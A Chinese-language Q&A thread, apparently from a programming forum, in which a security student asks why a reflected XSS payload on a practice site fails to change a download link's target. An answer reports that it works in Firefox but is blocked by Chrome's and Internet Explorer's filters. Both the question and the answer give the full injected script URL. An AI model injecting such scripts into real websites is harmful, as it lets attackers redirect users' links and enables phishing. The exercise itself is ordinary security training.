javascript - 为什么我对虚拟网站的 XSS 攻击不起作用？

Question

在我的安全类(class)中，我们得到了一个虚拟网站来练习 xss 攻击:

http://permalink.co/multivac/biteme.php

别担心，这个网站是用来练习的，它只是在特定学生的电脑上临时改变，之后总是会重置回原来的样子。

我想将“点击下载”下的 url 更改为在点击时指向 google。我锁定了下面的代码，但链接没有改变。我把它全部复制粘贴到“.php”之后；

?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.google.com/";}</script>

我始终无法更改 url，我该怎么办？

Answer 1

http://permalink.co/multivac/biteme.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.google.com/";}</script>

它工作正常，我认为你使用的是 google chrome，chrome 可以防止 xss(见截图)， 与 Internet Explorer(11.0) 相同的体验，它也可以防止 xss

我在 firefox(34.0.5) 中测试过，它的工作原理